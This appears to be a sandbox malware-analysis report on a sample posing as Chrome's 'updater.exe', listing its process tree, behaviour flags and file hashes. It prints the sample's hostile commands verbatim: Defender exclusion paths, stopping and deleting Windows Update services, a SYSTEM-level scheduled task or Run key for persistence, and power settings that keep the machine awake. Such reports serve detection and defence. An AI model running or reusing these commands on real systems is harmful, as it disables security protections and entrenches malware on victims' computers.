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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4864
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4956
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3592
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3396
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:728
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1188
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3608
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1444
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:2004
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4204
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3916
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe etzzkakmg2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4040
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵PID:3548
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:2084
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe ztzptsnoedioejdw 9iglejqod3hFFxVhkr+WUaol7tpsq+sx3xs4hsVXOg+m/MQNrGWjJxY7q+IriA/on0Hr8KA98LUOT5htKhbexvQM3CPn32BhsKxg1njCTOhUeztmqm8Mu/ZFhejkqTEpJHxOXGbz6fkYGFdYncO7npPPBS03OOiqaTGas+PgMCqGPbreQed32DvfYpa0SQ2FJR9dTs7giUOVM3pXJtMKLvbAgrjXk3uGyZ0rmkqINAQ=2⤵PID:776
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:3720
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:2380
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4776
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:2832
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD502f4d5eceb808b662dc010b46f16cd65
SHA16ea36b74a71f8c4af37691d405c8149db6c88700
SHA256f1016f26c71f59d0cc33f1474d5d7f10bcf110d8dffb4cf60d2babea71239bd4
SHA51225c3202b9d55f96127bb7b090909bcae022a06db780673add777ba669a851907040892e77a93a3f00d5d37261b3a7d8aa879a7fe7e199ed0be89cf2639c51c1b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5